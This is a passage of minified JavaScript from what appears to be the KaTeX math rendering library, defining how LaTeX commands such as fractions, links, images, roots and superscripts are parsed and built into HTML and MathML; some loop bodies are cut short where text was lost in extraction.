mt.TextNode(t.rightDelim.replace("\\",""))]);u.setAttribute("fence","true"),s.push(u)}return uA(s)}return r},"mathmlBuilder$3");Mt({type:"genfrac",names:["\\dfrac","\\frac","\\tfrac","\\dbinom","\\binom","\\tbinom","\\\\atopfrac","\\\\bracefrac","\\\\brackfrac"],props:{numArgs:2,allowedInArgument:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=e[1],s,l=null,u=null,h="auto";switch(n){case"\\dfrac":case"\\frac":case"\\tfrac":s=!0;break;case"\\\\atopfrac":s=!1;break;case"\\dbinom":case"\\binom":case"\\tbinom":s=!1,l="(",u=")";break;case"\\\\bracefrac":s=!1,l="\\{",u="\\}";break;case"\\\\brackfrac":s=!1,l="[",u="]";break;default:throw new Error("Unrecognized genfrac command")}switch(n){case"\\dfrac":case"\\dbinom":h="display";break;case"\\tfrac":case"\\tbinom":h="text";break}return{type:"genfrac",mode:r.mode,continued:!1,numer:i,denom:a,hasBarLine:s,leftDelim:l,rightDelim:u,size:h,barSize:null}},"handler"),htmlBuilder:xA,mathmlBuilder:bA});Mt({type:"genfrac",names:["\\cfrac"],props:{numArgs:2},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=e[1];return{type:"genfrac",mode:r.mode,continued:!0,numer:i,denom:a,hasBarLine:!0,leftDelim:null,rightDelim:null,size:"display",barSize:null}},"handler")});Mt({type:"infix",names:["\\over","\\choose","\\atop","\\brace","\\brack"],props:{numArgs:0,infix:!0},handler(t){var{parser:e,funcName:r,token:n}=t,i;switch(r){case"\\over":i="\\frac";break;case"\\choose":i="\\binom";break;case"\\atop":i="\\\\atopfrac";break;case"\\brace":i="\\\\bracefrac";break;case"\\brack":i="\\\\brackfrac";break;default:throw new Error("Unrecognized infix genfrac command")}return{type:"infix",mode:e.mode,replaceWith:i,token:n}}});NV=["display","text","script","scriptscript"],MV=o(function(e){var r=null;return e.length>0&&(r=e,r=r==="."?null:r),r},"delimFromValue");Mt({type:"genfrac",names:["\\genfrac"],props:{numArgs:6,allowedInArgument:!0,argTypes:["math","math","size","text","math","math"]},handler(t,e){var{parser:r}=t,n=e[4],i=e[5],a=E3(e[0]),s=a.type==="atom"&&a.family==="open"?MV(a.text):null,l=E3(e[1]),u=l.type==="atom"&&l.family==="close"?MV(l.text):null,h=Tr(e[2],"size"),f,d=null;h.isBlank?f=!0:(d=h.value,f=d.number>0);var p="auto",m=e[3];if(m.type==="ordgroup"){if(m.body.length>0){var g=Tr(m.body[0],"textord");p=NV[Number(g.text)]}}else m=Tr(m,"textord"),p=NV[Number(m.text)];return{type:"genfrac",mode:r.mode,numer:n,denom:i,continued:!1,hasBarLine:f,barSize:d,leftDelim:s,rightDelim:u,size:p}},htmlBuilder:xA,mathmlBuilder:bA});Mt({type:"infix",names:["\\above"],props:{numArgs:1,argTypes:["size"],infix:!0},handler(t,e){var{parser:r,funcName:n,token:i}=t;return{type:"infix",mode:r.mode,replaceWith:"\\\\abovefrac",size:Tr(e[0],"size").value,token:i}}});Mt({type:"genfrac",names:["\\\\abovefrac"],props:{numArgs:3,argTypes:["math","size","math"]},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=J5e(Tr(e[1],"infix").size),s=e[2],l=a.number>0;return{type:"genfrac",mode:r.mode,numer:i,denom:s,continued:!1,hasBarLine:l,barSize:a,leftDelim:null,rightDelim:null,size:"auto"}},"handler"),htmlBuilder:xA,mathmlBuilder:bA});LU=o((t,e)=>{var r=e.style,n,i;t.type==="supsub"?(n=t.sup?Hr(t.sup,e.havingStyle(r.sup()),e):Hr(t.sub,e.havingStyle(r.sub()),e),i=Tr(t.base,"horizBrace")):i=Tr(t,"horizBrace");var a=Hr(i.base,e.havingBaseStyle(nr.DISPLAY)),s=pu.svgSpan(i,e),l;if(i.isOver?(l=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"kern",size:.1},{type:"elem",elem:s}]},e),l.children[0].children[0].children[1].classes.push("svg-align")):(l=$e.makeVList({positionType:"bottom",positionData:a.depth+.1+s.height,children:[{type:"elem",elem:s},{type:"kern",size:.1},{type:"elem",elem:a}]},e),l.children[0].children[0].children[0].classes.push("svg-align")),n){var u=$e.makeSpan(["mord",i.isOver?"mover":"munder"],[l],e);i.isOver?l=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:u},{type:"kern",size:.2},{type:"elem",elem:n}]},e):l=$e.makeVList({positionType:"bottom",positionData:u.depth+.2+n.height+n.depth,children:[{type:"elem",elem:n},{type:"kern",size:.2},{type:"elem",elem:u}]},e)}return $e.makeSpan(["mord",i.isOver?"mover":"munder"],[l],e)},"htmlBuilder$3"),Twe=o((t,e)=>{var r=pu.mathMLnode(t.label);return new mt.MathNode(t.isOver?"mover":"munder",[wn(t.base,e),r])},"mathmlBuilder$2");Mt({type:"horizBrace",names:["\\overbrace","\\underbrace"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t;return{type:"horizBrace",mode:r.mode,label:n,isOver:/^\\over/.test(n),base:e[0]}},htmlBuilder:LU,mathmlBuilder:Twe});Mt({type:"href",names:["\\href"],props:{numArgs:2,argTypes:["url","original"],allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[1],i=Tr(e[0],"url").url;return r.settings.isTrusted({command:"\\href",url:i})?{type:"href",mode:r.mode,href:i,body:gi(n)}:r.formatUnsupportedCmd("\\href")},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.body,e,!1);return $e.makeAnchor(t.href,[],r,e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=Th(t.body,e);return r instanceof es||(r=new es("mrow",[r])),r.setAttribute("href",t.href),r},"mathmlBuilder")});Mt({type:"href",names:["\\url"],props:{numArgs:1,argTypes:["url"],allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=Tr(e[0],"url").url;if(!r.settings.isTrusted({command:"\\url",url:n}))return r.formatUnsupportedCmd("\\url");for(var i=[],a=0;a{var{parser:r,funcName:n,token:i}=t,a=Tr(e[0],"raw").string,s=e[1];r.settings.strict&&r.settings.reportNonstrict("htmlExtension","HTML extension is disabled on strict mode");var l,u={};switch(n){case"\\htmlClass":u.class=a,l={command:"\\htmlClass",class:a};break;case"\\htmlId":u.id=a,l={command:"\\htmlId",id:a};break;case"\\htmlStyle":u.style=a,l={command:"\\htmlStyle",style:a};break;case"\\htmlData":{for(var h=a.split(","),f=0;f{var r=Ii(t.body,e,!1),n=["enclosing"];t.attributes.class&&n.push(...t.attributes.class.trim().split(/\s+/));var i=$e.makeSpan(n,r,e);for(var a in t.attributes)a!=="class"&&t.attributes.hasOwnProperty(a)&&i.setAttribute(a,t.attributes[a]);return i},"htmlBuilder"),mathmlBuilder:o((t,e)=>Th(t.body,e),"mathmlBuilder")});Mt({type:"htmlmathml",names:["\\html@mathml"],props:{numArgs:2,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t;return{type:"htmlmathml",mode:r.mode,html:gi(e[0]),mathml:gi(e[1])}},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.html,e,!1);return $e.makeFragment(r)},"htmlBuilder"),mathmlBuilder:o((t,e)=>Th(t.mathml,e),"mathmlBuilder")});q7=o(function(e){if(/^[-+]? *(\d+(\.\d*)?|\.\d+)$/.test(e))return{number:+e,unit:"bp"};var r=/([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/.exec(e);if(!r)throw new gt("Invalid size: '"+e+"' in \\includegraphics");var n={number:+(r[1]+r[2]),unit:r[3]};if(!jV(n))throw new gt("Invalid unit: '"+n.unit+"' in \\includegraphics.");return n},"sizeData");Mt({type:"includegraphics",names:["\\includegraphics"],props:{numArgs:1,numOptionalArgs:1,argTypes:["raw","url"],allowedInText:!1},handler:o((t,e,r)=>{var{parser:n}=t,i={number:0,unit:"em"},a={number:.9,unit:"em"},s={number:0,unit:"em"},l="";if(r[0])for(var u=Tr(r[0],"raw").string,h=u.split(","),f=0;f{var r=ii(t.height,e),n=0;t.totalheight.number>0&&(n=ii(t.totalheight,e)-r);var i=0;t.width.number>0&&(i=ii(t.width,e));var a={height:St(r+n)};i>0&&(a.width=St(i)),n>0&&(a.verticalAlign=St(-n));var s=new Q7(t.src,t.alt,a);return s.height=r,s.depth=n,s},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=new mt.MathNode("mglyph",[]);r.setAttribute("alt",t.alt);var n=ii(t.height,e),i=0;if(t.totalheight.number>0&&(i=ii(t.totalheight,e)-n,r.setAttribute("valign",St(-i))),r.setAttribute("height",St(n+i)),t.width.number>0){var a=ii(t.width,e);r.setAttribute("width",St(a))}return r.setAttribute("src",t.src),r},"mathmlBuilder")});Mt({type:"kern",names:["\\kern","\\mkern","\\hskip","\\mskip"],props:{numArgs:1,argTypes:["size"],primitive:!0,allowedInText:!0},handler(t,e){var{parser:r,funcName:n}=t,i=Tr(e[0],"size");if(r.settings.strict){var a=n[1]==="m",s=i.value.unit==="mu";a?(s||r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" supports only mu units, "+("not "+i.value.unit+" units")),r.mode!=="math"&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" works only in math mode")):s&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" doesn't support mu units")}return{type:"kern",mode:r.mode,dimension:i.value}},htmlBuilder(t,e){return $e.makeGlue(t.dimension,e)},mathmlBuilder(t,e){var r=ii(t.dimension,e);return new mt.SpaceNode(r)}});Mt({type:"lap",names:["\\mathllap","\\mathrlap","\\mathclap"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"lap",mode:r.mode,alignment:n.slice(5),body:i}},"handler"),htmlBuilder:o((t,e)=>{var r;t.alignment==="clap"?(r=$e.makeSpan([],[Hr(t.body,e)]),r=$e.makeSpan(["inner"],[r],e)):r=$e.makeSpan(["inner"],[Hr(t.body,e)]);var n=$e.makeSpan(["fix"],[]),i=$e.makeSpan([t.alignment],[r,n],e),a=$e.makeSpan(["strut"]);return a.style.height=St(i.height+i.depth),i.depth&&(a.style.verticalAlign=St(-i.depth)),i.children.unshift(a),i=$e.makeSpan(["thinbox"],[i],e),$e.makeSpan(["mord","vbox"],[i],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=new mt.MathNode("mpadded",[wn(t.body,e)]);if(t.alignment!=="rlap"){var n=t.alignment==="llap"?"-1":"-0.5";r.setAttribute("lspace",n+"width")}return r.setAttribute("width","0px"),r},"mathmlBuilder")});Mt({type:"styling",names:["\\(","$"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler(t,e){var{funcName:r,parser:n}=t,i=n.mode;n.switchMode("math");var a=r==="\\("?"\\)":"$",s=n.parseExpression(!1,a);return n.expect(a),n.switchMode(i),{type:"styling",mode:n.mode,style:"text",body:s}}});Mt({type:"text",names:["\\)","\\]"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler(t,e){throw new gt("Mismatched "+t.funcName)}});IV=o((t,e)=>{switch(e.style.size){case nr.DISPLAY.size:return t.display;case nr.TEXT.size:return t.text;case nr.SCRIPT.size:return t.script;case nr.SCRIPTSCRIPT.size:return t.scriptscript;default:return t.text}},"chooseMathStyle");Mt({type:"mathchoice",names:["\\mathchoice"],props:{numArgs:4,primitive:!0},handler:o((t,e)=>{var{parser:r}=t;return{type:"mathchoice",mode:r.mode,display:gi(e[0]),text:gi(e[1]),script:gi(e[2]),scriptscript:gi(e[3])}},"handler"),htmlBuilder:o((t,e)=>{var r=IV(t,e),n=Ii(r,e,!1);return $e.makeFragment(n)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=IV(t,e);return Th(r,e)},"mathmlBuilder")});RU=o((t,e,r,n,i,a,s)=>{t=$e.makeSpan([],[t]);var l=r&&er.isCharacterBox(r),u,h;if(e){var f=Hr(e,n.havingStyle(i.sup()),n);h={elem:f,kern:Math.max(n.fontMetrics().bigOpSpacing1,n.fontMetrics().bigOpSpacing3-f.depth)}}if(r){var d=Hr(r,n.havingStyle(i.sub()),n);u={elem:d,kern:Math.max(n.fontMetrics().bigOpSpacing2,n.fontMetrics().bigOpSpacing4-d.height)}}var p;if(h&&u){var m=n.fontMetrics().bigOpSpacing5+u.elem.height+u.elem.depth+u.kern+t.depth+s;p=$e.makeVList({positionType:"bottom",positionData:m,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:u.elem,marginLeft:St(-a)},{type:"kern",size:u.kern},{type:"elem",elem:t},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:St(a)},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else if(u){var g=t.height-s;p=$e.makeVList({positionType:"top",positionData:g,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:u.elem,marginLeft:St(-a)},{type:"kern",size:u.kern},{type:"elem",elem:t}]},n)}else if(h){var y=t.depth+s;p=$e.makeVList({positionType:"bottom",positionData:y,children:[{type:"elem",elem:t},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:St(a)},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else return t;var v=[p];if(u&&a!==0&&!l){var x=$e.makeSpan(["mspace"],[],n);x.style.marginRight=St(a),v.unshift(x)}return $e.makeSpan(["mop","op-limits"],v,n)},"assembleSupSub"),NU=["\\smallint"],C0=o((t,e)=>{var r,n,i=!1,a;t.type==="supsub"?(r=t.sup,n=t.sub,a=Tr(t.base,"op"),i=!0):a=Tr(t,"op");var s=e.style,l=!1;s.size===nr.DISPLAY.size&&a.symbol&&!er.contains(NU,a.name)&&(l=!0);var u;if(a.symbol){var h=l?"Size2-Regular":"Size1-Regular",f="";if((a.name==="\\oiint"||a.name==="\\oiiint")&&(f=a.name.slice(1),a.name=f==="oiint"?"\\iint":"\\iiint"),u=$e.makeSymbol(a.name,h,"math",e,["mop","op-symbol",l?"large-op":"small-op"]),f.length>0){var d=u.italic,p=$e.staticSvg(f+"Size"+(l?"2":"1"),e);u=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:u,shift:0},{type:"elem",elem:p,shift:l?.08:0}]},e),a.name="\\"+f,u.classes.unshift("mop"),u.italic=d}}else if(a.body){var m=Ii(a.body,e,!0);m.length===1&&m[0]instanceof Cs?(u=m[0],u.classes[0]="mop"):u=$e.makeSpan(["mop"],m,e)}else{for(var g=[],y=1;y{var r;if(t.symbol)r=new es("mo",[Lo(t.name,t.mode)]),er.contains(NU,t.name)&&r.setAttribute("largeop","false");else if(t.body)r=new es("mo",As(t.body,e));else{r=new es("mi",[new _o(t.name.slice(1))]);var n=new es("mo",[Lo("\u2061","text")]);t.parentIsSupSub?r=new es("mrow",[r,n]):r=sU([r,n])}return r},"mathmlBuilder$1"),wwe={"\u220F":"\\prod","\u2210":"\\coprod","\u2211":"\\sum","\u22C0":"\\bigwedge","\u22C1":"\\bigvee","\u22C2":"\\bigcap","\u22C3":"\\bigcup","\u2A00":"\\bigodot","\u2A01":"\\bigoplus","\u2A02":"\\bigotimes","\u2A04":"\\biguplus","\u2A06":"\\bigsqcup"};Mt({type:"op",names:["\\coprod","\\bigvee","\\bigwedge","\\biguplus","\\bigcap","\\bigcup","\\intop","\\prod","\\sum","\\bigotimes","\\bigoplus","\\bigodot","\\bigsqcup","\\smallint","\u220F","\u2210","\u2211","\u22C0","\u22C1","\u22C2","\u22C3","\u2A00","\u2A01","\u2A02","\u2A04","\u2A06"],props:{numArgs:0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=n;return i.length===1&&(i=wwe[i]),{type:"op",mode:r.mode,limits:!0,parentIsSupSub:!1,symbol:!0,name:i}},"handler"),htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\mathop"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"op",mode:r.mode,limits:!1,parentIsSupSub:!1,symbol:!1,body:gi(n)}},"handler"),htmlBuilder:C0,mathmlBuilder:Jy});kwe={"\u222B":"\\int","\u222C":"\\iint","\u222D":"\\iiint","\u222E":"\\oint","\u222F":"\\oiint","\u2230":"\\oiiint"};Mt({type:"op",names:["\\arcsin","\\arccos","\\arctan","\\arctg","\\arcctg","\\arg","\\ch","\\cos","\\cosec","\\cosh","\\cot","\\cotg","\\coth","\\csc","\\ctg","\\cth","\\deg","\\dim","\\exp","\\hom","\\ker","\\lg","\\ln","\\log","\\sec","\\sin","\\sinh","\\sh","\\tan","\\tanh","\\tg","\\th"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t;return{type:"op",mode:e.mode,limits:!1,parentIsSupSub:!1,symbol:!1,name:r}},htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\det","\\gcd","\\inf","\\lim","\\max","\\min","\\Pr","\\sup"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t;return{type:"op",mode:e.mode,limits:!0,parentIsSupSub:!1,symbol:!1,name:r}},htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\int","\\iint","\\iiint","\\oint","\\oiint","\\oiiint","\u222B","\u222C","\u222D","\u222E","\u222F","\u2230"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t,n=r;return n.length===1&&(n=kwe[n]),{type:"op",mode:e.mode,limits:!1,parentIsSupSub:!1,symbol:!0,name:n}},htmlBuilder:C0,mathmlBuilder:Jy});MU=o((t,e)=>{var r,n,i=!1,a;t.type==="supsub"?(r=t.sup,n=t.sub,a=Tr(t.base,"operatorname"),i=!0):a=Tr(t,"operatorname");var s;if(a.body.length>0){for(var l=a.body.map(d=>{var p=d.text;return typeof p=="string"?{type:"textord",mode:d.mode,text:p}:d}),u=Ii(l,e.withFont("mathrm"),!0),h=0;h{for(var r=As(t.body,e.withFont("mathrm")),n=!0,i=0;if.toText()).join("");r=[new mt.TextNode(l)]}var u=new mt.MathNode("mi",r);u.setAttribute("mathvariant","normal");var h=new mt.MathNode("mo",[Lo("\u2061","text")]);return t.parentIsSupSub?new mt.MathNode("mrow",[u,h]):mt.newDocumentFragment([u,h])},"mathmlBuilder");Mt({type:"operatorname",names:["\\operatorname@","\\operatornamewithlimits"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"operatorname",mode:r.mode,body:gi(i),alwaysHandleSupSub:n==="\\operatornamewithlimits",limits:!1,parentIsSupSub:!1}},"handler"),htmlBuilder:MU,mathmlBuilder:Ewe});ce("\\operatorname","\\@ifstar\\operatornamewithlimits\\operatorname@");dd({type:"ordgroup",htmlBuilder(t,e){return t.semisimple?$e.makeFragment(Ii(t.body,e,!1)):$e.makeSpan(["mord"],Ii(t.body,e,!0),e)},mathmlBuilder(t,e){return Th(t.body,e,!0)}});Mt({type:"overline",names:["\\overline"],props:{numArgs:1},handler(t,e){var{parser:r}=t,n=e[0];return{type:"overline",mode:r.mode,body:n}},htmlBuilder(t,e){var r=Hr(t.body,e.havingCrampedStyle()),n=$e.makeLineSpan("overline-line",e),i=e.fontMetrics().defaultRuleThickness,a=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r},{type:"kern",size:3*i},{type:"elem",elem:n},{type:"kern",size:i}]},e);return $e.makeSpan(["mord","overline"],[a],e)},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[new mt.TextNode("\u203E")]);r.setAttribute("stretchy","true");var n=new mt.MathNode("mover",[wn(t.body,e),r]);return n.setAttribute("accent","true"),n}});Mt({type:"phantom",names:["\\phantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"phantom",mode:r.mode,body:gi(n)}},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.body,e.withPhantom(),!1);return $e.makeFragment(r)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=As(t.body,e);return new mt.MathNode("mphantom",r)},"mathmlBuilder")});Mt({type:"hphantom",names:["\\hphantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"hphantom",mode:r.mode,body:n}},"handler"),htmlBuilder:o((t,e)=>{var r=$e.makeSpan([],[Hr(t.body,e.withPhantom())]);if(r.height=0,r.depth=0,r.children)for(var n=0;n{var r=As(gi(t.body),e),n=new mt.MathNode("mphantom",r),i=new mt.MathNode("mpadded",[n]);return i.setAttribute("height","0px"),i.setAttribute("depth","0px"),i},"mathmlBuilder")});Mt({type:"vphantom",names:["\\vphantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"vphantom",mode:r.mode,body:n}},"handler"),htmlBuilder:o((t,e)=>{var r=$e.makeSpan(["inner"],[Hr(t.body,e.withPhantom())]),n=$e.makeSpan(["fix"],[]);return $e.makeSpan(["mord","rlap"],[r,n],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=As(gi(t.body),e),n=new mt.MathNode("mphantom",r),i=new mt.MathNode("mpadded",[n]);return i.setAttribute("width","0px"),i},"mathmlBuilder")});Mt({type:"raisebox",names:["\\raisebox"],props:{numArgs:2,argTypes:["size","hbox"],allowedInText:!0},handler(t,e){var{parser:r}=t,n=Tr(e[0],"size").value,i=e[1];return{type:"raisebox",mode:r.mode,dy:n,body:i}},htmlBuilder(t,e){var r=Hr(t.body,e),n=ii(t.dy,e);return $e.makeVList({positionType:"shift",positionData:-n,children:[{type:"elem",elem:r}]},e)},mathmlBuilder(t,e){var r=new mt.MathNode("mpadded",[wn(t.body,e)]),n=t.dy.number+t.dy.unit;return r.setAttribute("voffset",n),r}});Mt({type:"internal",names:["\\relax"],props:{numArgs:0,allowedInText:!0,allowedInArgument:!0},handler(t){var{parser:e}=t;return{type:"internal",mode:e.mode}}});Mt({type:"rule",names:["\\rule"],props:{numArgs:2,numOptionalArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["size","size","size"]},handler(t,e,r){var{parser:n}=t,i=r[0],a=Tr(e[0],"size"),s=Tr(e[1],"size");return{type:"rule",mode:n.mode,shift:i&&Tr(i,"size").value,width:a.value,height:s.value}},htmlBuilder(t,e){var r=$e.makeSpan(["mord","rule"],[],e),n=ii(t.width,e),i=ii(t.height,e),a=t.shift?ii(t.shift,e):0;return r.style.borderRightWidth=St(n),r.style.borderTopWidth=St(i),r.style.bottom=St(a),r.width=n,r.height=i+a,r.depth=-a,r.maxFontSize=i*1.125*e.sizeMultiplier,r},mathmlBuilder(t,e){var r=ii(t.width,e),n=ii(t.height,e),i=t.shift?ii(t.shift,e):0,a=e.color&&e.getColor()||"black",s=new mt.MathNode("mspace");s.setAttribute("mathbackground",a),s.setAttribute("width",St(r)),s.setAttribute("height",St(n));var l=new mt.MathNode("mpadded",[s]);return i>=0?l.setAttribute("height",St(i)):(l.setAttribute("height",St(i)),l.setAttribute("depth",St(-i))),l.setAttribute("voffset",St(i)),l}});o(IU,"sizingGroup");OV=["\\tiny","\\sixptsize","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"],Swe=o((t,e)=>{var r=e.havingSize(t.size);return IU(t.body,r,e)},"htmlBuilder");Mt({type:"sizing",names:OV,props:{numArgs:0,allowedInText:!0},handler:o((t,e)=>{var{breakOnTokenText:r,funcName:n,parser:i}=t,a=i.parseExpression(!1,r);return{type:"sizing",mode:i.mode,size:OV.indexOf(n)+1,body:a}},"handler"),htmlBuilder:Swe,mathmlBuilder:o((t,e)=>{var r=e.havingSize(t.size),n=As(t.body,r),i=new mt.MathNode("mstyle",n);return i.setAttribute("mathsize",St(r.sizeMultiplier)),i},"mathmlBuilder")});Mt({type:"smash",names:["\\smash"],props:{numArgs:1,numOptionalArgs:1,allowedInText:!0},handler:o((t,e,r)=>{var{parser:n}=t,i=!1,a=!1,s=r[0]&&Tr(r[0],"ordgroup");if(s)for(var l="",u=0;u{var r=$e.makeSpan([],[Hr(t.body,e)]);if(!t.smashHeight&&!t.smashDepth)return r;if(t.smashHeight&&(r.height=0,r.children))for(var n=0;n{var r=new mt.MathNode("mpadded",[wn(t.body,e)]);return t.smashHeight&&r.setAttribute("height","0px"),t.smashDepth&&r.setAttribute("depth","0px"),r},"mathmlBuilder")});Mt({type:"sqrt",names:["\\sqrt"],props:{numArgs:1,numOptionalArgs:1},handler(t,e,r){var{parser:n}=t,i=r[0],a=e[0];return{type:"sqrt",mode:n.mode,body:a,index:i}},htmlBuilder(t,e){var r=Hr(t.body,e.havingCrampedStyle());r.height===0&&(r.height=e.fontMetrics().xHeight),r=$e.wrapFragment(r,e);var n=e.fontMetrics(),i=n.defaultRuleThickness,a=i;e.style.idr.height+r.depth+s&&(s=(s+d-r.height-r.depth)/2);var p=u.height-r.height-s-h;r.style.paddingLeft=St(f);var m=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r,wrapperClasses:["svg-align"]},{type:"kern",size:-(r.height+p)},{type:"elem",elem:u},{type:"kern",size:h}]},e);if(t.index){var g=e.havingStyle(nr.SCRIPTSCRIPT),y=Hr(t.index,g,e),v=.6*(m.height-m.depth),x=$e.makeVList({positionType:"shift",positionData:-v,children:[{type:"elem",elem:y}]},e),b=$e.makeSpan(["root"],[x]);return $e.makeSpan(["mord","sqrt"],[b,m],e)}else return $e.makeSpan(["mord","sqrt"],[m],e)},mathmlBuilder(t,e){var{body:r,index:n}=t;return n?new mt.MathNode("mroot",[wn(r,e),wn(n,e)]):new mt.MathNode("msqrt",[wn(r,e)])}});PV={display:nr.DISPLAY,text:nr.TEXT,script:nr.SCRIPT,scriptscript:nr.SCRIPTSCRIPT};Mt({type:"styling",names:["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t,e){var{breakOnTokenText:r,funcName:n,parser:i}=t,a=i.parseExpression(!0,r),s=n.slice(1,n.length-5);return{type:"styling",mode:i.mode,style:s,body:a}},htmlBuilder(t,e){var r=PV[t.style],n=e.havingStyle(r).withFont("");return IU(t.body,n,e)},mathmlBuilder(t,e){var r=PV[t.style],n=e.havingStyle(r),i=As(t.body,n),a=new mt.MathNode("mstyle",i),s={display:["0","true"],text:["0","false"],script:["1","false"],scriptscript:["2","false"]},l=s[t.style];return a.setAttribute("scriptlevel",l[0]),a.setAttribute("displaystyle",l[1]),a}});Cwe=o(function(e,r){var n=e.base;if(n)if(n.type==="op"){var i=n.limits&&(r.style.size===nr.DISPLAY.size||n.alwaysHandleSupSub);return i?C0:null}else if(n.type==="operatorname"){var a=n.alwaysHandleSupSub&&(r.style.size===nr.DISPLAY.size||n.limits);return a?MU:null}else{if(n.type==="accent")return er.isCharacterBox(n.base)?dA:null;if(n.type==="horizBrace"){var s=!e.sub;return s===n.isOver?LU:null}else return null}else return null},"htmlBuilderDelegate");dd({type:"supsub",htmlBuilder(t,e){var r=Cwe(t,e);if(r)return r(t,e);var{base:n,sup:i,sub:a}=t,s=Hr(n,e),l,u,h=e.fontMetrics(),f=0,d=0,p=n&&er.isCharacterBox(n);if(i){var m=e.havingStyle(e.style.sup());l=Hr(i,m,e),p||(f=s.height-m.fontMetrics().supDrop*m.sizeMultiplier/e.sizeMultiplier)}if(a){var g=e.havingStyle(e.style.sub());u=Hr(a,g,e),p||(d=s.depth+g.fontMetrics().subDrop*g.sizeMultiplier/e.sizeMultiplier)}var y;e.style===nr.DISPLAY?y=h.sup1:e.style.cramped?y=h.sup3:y=h.sup2;var v=e.sizeMultiplier,x=St(.5/h.ptPerEm/v),b=null;if(u){var T=t.base&&t.base.type==="op"&&t.base.name&&(t.base.name==="\\oiint"||t.base.name==="\\oiiint");(s instanceof Cs||T)&&(b=St(-s.italic))}var S;if(l&&u){f=Math.max(f,y,l.depth+.25*h.xHeight),d=Math.max(d,h.sub2);var w=h.defaultRuleThickness,k=4*w;if(f-l.depth-(u.height-d)0&&(f+=A,d-=A)}var C=[{type:"elem",elem:u,shift:d,marginRight:x,marginLeft:b},{type:"elem",elem:l,shift:-f,marginRight:x}];S=$e.makeVList({positionType:"individualShift",children:C},e)}else if(u){d=Math.max(d,h.sub1,u.height-.8*h.xHeight);var R=[{type:"elem",elem:u,marginLeft:b,marginRight:x}];S=$e.makeVList({positionType:"shift",positionData:d,children:R},e)}else if(l)f=Math.max(f,y,l.depth+.25*h.xHeight),S=$e.makeVList({positionType:"shift",positionData:-f,children:[{type:"elem",elem:l,marginRight:x}]},e);else throw new Error("supsub must have either sup or sub.");var I=J7(s,"right")||"mord";return $e.makeSpan([I],[s,$e.makeSpan(["msupsub"],[S])],e)},mathmlBuilder(t,e){var r=!1,n,i;t.base&&t.base.type==="horizBrace"&&(i=!!t.sup,i===t.base.isOver&&(r=!0,n=t.base.isOver)),t.base&&(t.base.type==="op"||t.base.type==="operatorname")&&(t.base.parentIsSupSub=!0);var a=[wn(t.base,e)];t.sub&&a.push(wn(t.sub,e)),t.sup&&a.push(wn(t.sup,e));var s;if(r)s=n?"mover":"munder";else if(t.sub)if(t.sup){var h=t.base;h&&h.type==="op"&&h.limits&&e.style===nr.DISPLAY||h&&h.type==="operatorname"&&h.alwaysHandleSupSub&&(e.style===nr.DISPLAY||h.limits)?s="munderover":s="msubsup"}else{var u=t.base;u&&u.type==="op"&&u.limits&&(e.style===nr.DISPLAY||u.alwaysHandleSupSub)||u&&u.type==="operatorname"&&u.alwaysHandleSupSub&&(u.limits||e.style===nr.DISPLAY)?s="munder":s="msub"}else{var 